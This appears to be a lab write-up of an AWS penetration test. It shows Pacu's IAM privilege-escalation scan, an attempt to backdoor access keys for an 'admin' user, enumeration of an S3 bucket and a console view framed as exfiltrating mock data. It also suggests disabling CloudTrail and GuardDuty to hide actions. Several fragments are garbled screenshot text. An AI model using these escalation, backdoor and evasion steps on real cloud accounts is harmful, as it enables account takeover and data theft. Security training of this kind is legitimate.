





```
q"
I
console/open_console
to parse the data returned. Warning: The AWS CLI's
authentication is not related to Pacu. Be careful to
ensure that you are using the keys you want when using
the AWS CLI. It is suggested to use AWS CLI profiles
to solve this problem
Generate a URL that will log the current user/role in to
the AWS web console

Pacu (asdf:admin) > run iam_privesc_scan
Running module iam_privesc_scan...
[iam_privesc_scan] Escalation methods for current user:
[iam_privesc_scan] CONFIRMED: CreateNewPolicyVersion
[iam_privesc_scan] CONFIRMED: SetExistingDefaultPolicyVersion
[iam_privesc_scan] CONFIRMED: CreateAccessKey
[iam_privesc_scan] CONFIRMED: CreateLoginProfile
[iam_privesc_scan] CONFIRMED: UpdateLoginProfile
[iam_privesc_scan] CONFIRMED: AttachUserPolicy
[iam_privesc_scan] CONFIRMED: AttachGroupPolicy
[iam_privesc_scan] CONFIRMED: PutUserPolicy
[iam_privesc_scan] CONFIRMED: PutGroupPolicy
[iam_privesc_scan] CONFIRMED: AddUserToGroup
[iam_privesc_scan] Attempting confirmed privilege escalation methods...

[iam_privesc_scan] Starting method CreateNewPolicyVersion...

[iam_privesc_scan] Is there a specific policy you want to target? Enter its ARN now (just hit e
nter to automatically figure out a valid policy to target):
```

```
[iam_privesc_scan] Method failed. Trying next potential method...
[iam_privesc_scan] Starting method CreateAccessKey...

[iam_privesc_scan] Is there a specific user you want to target? They must not already have two
sets of access keys created for their user. Enter their user name now or just hit enter to enumerate
users and view a list of options:
[iam_privesc_scan] Found 1 user(s). Choose a user below.
[iam_privesc_scan] [0] Other (Manually enter user name)
[iam_privesc_scan] [1] admin
[iam_privesc_scan] Choose an option: 1
[iam_privesc_scan] Running module iam_backdoor_users_keys...
[iam_backdoor_users_keys] Backdoor the following users?
[iam_backdoor_users_keys] admin
[iam_backdoor_users_keys] FAILURE: LimitExceeded
[iam_backdoor_users_keys] iam_backdoor_users_keys completed.

[iam_backdoor_users_keys] MODULE SUMMARY:
0 user key(s) successfully backdoored.

[iam_privesc_scan] iam_privesc_scan completed.

[iam_privesc_scan] MODULE SUMMARY:
Privilege escalation was successful

Pacu (asdf:admin) >
```



- **Cloud Recon:** Enumerate S3 buckets with awscli. Log:

Asset ID	Service	Misconfiguration	Notes
-----	-----	-----	-----
AID001	S3	Public read access	Vulnerable bucket

```
(pacu-env)-(root@kali)-[/home/kali/Desktop]
# aws s3 ls

2025-09-09 13:52:38 tteestbucket
```

```
(pacu-env)-(root@kali)-[/home/kali/Desktop]
# aws s3 ls s3://tteestbucket

2025-09-09 13:54:00    79285 WhatsApp Image 2025-01-11 at 13.59.11.jpg
```

```
(pacu-env)-(root@kali)-[/home/kali/Desktop]
# aws s3 ls s3://tteestbucket --recursive

2025-09-09 13:54:00    79285 WhatsApp Image 2025-01-11 at 13.59.11.jpg
```

## Summary:

Each project's session data is stored in a different session using Pacu.

Any monitoring service, such as cloud trail, cloud watch alarms, guard duty, etc., can also conceal actions. Disabling monitoring services is another option.



**Exfiltration:** Extract mock data from an S3 bucket; confirm receipt in logs.

General purpose buckets

All AWS Regions

Directory buckets

General purpose buckets (1) Info

Copy ARN

Empty

Delete

Create bucket

Buckets are containers for data stored in S3.

Find buckets by name

< 1 > ⚙

Name	AWS Region	Creation date
<a href="#">ttestbucket</a>	Europe (Stockholm) eu-north-1	September 9, 2025, 23:22:35 (UTC+05:30)

Account snapshot Info

Updated daily

View dashboard

Storage Lens provides visibility into storage usage and activity trends.

External access summary - new Info

Updated daily

External access findings help you identify bucket permissions that allow public access or access from other AWS accounts.

ttestbucket Info

Objects

Properties

Permissions

Metrics

Management

Access Points

Objects (1)

Copy S3 URI

Copy URL

Download

Open

Delete

Actions

Create folder

Upload

Objects are the fundamental entities stored in Amazon S3. You can use [Amazon S3 inventory](#) to get a list of all objects in your bucket. For others to access your objects, you'll need to explicitly grant them permissions. [Learn more](#)

Find objects by prefix

< 1 > ⚙

Name	Type	Last modified	Size	Storage class
<a href="#">WhatsApp Image</a> 2025-01-11 at 13.59.11.jpg	jpg	September 9, 2025, 23:24:00 (UTC+05:30)	77.4 KB	Standard



Properties

Permissions

Versions

## Object overview

### Owner

97be001b12fbe0663ad248435ca6b422d4e33ab15e2b661852cedb64bdbdd67

### AWS Region

Europe (Stockholm) eu-north-1

### Last modified

September 9, 2025, 23:24:00 (UTC+05:30)

### Size

77.4 KB


### Type

jpg


### Key

 WhatsApp Image 2025-01-11 at 13.59.11.jpg


### S3 URI

 s3://ttestbucket/WhatsApp Image 2025-01-11 at 13.59.11.jpg


### Amazon Resource Name (ARN)

 arn:aws:s3:::ttestbucket/WhatsApp Image 2025-01-11 at 13.59.11.jpg

### Entity tag (Etag)

 72ea0a004b62d5a20dd69d58da6e1ec8

### Object URL

 <https://ttestbucket.s3.eu-north-1.amazonaws.com/WhatsApp+Image+2025-01-11+at+13.59.11.jpg>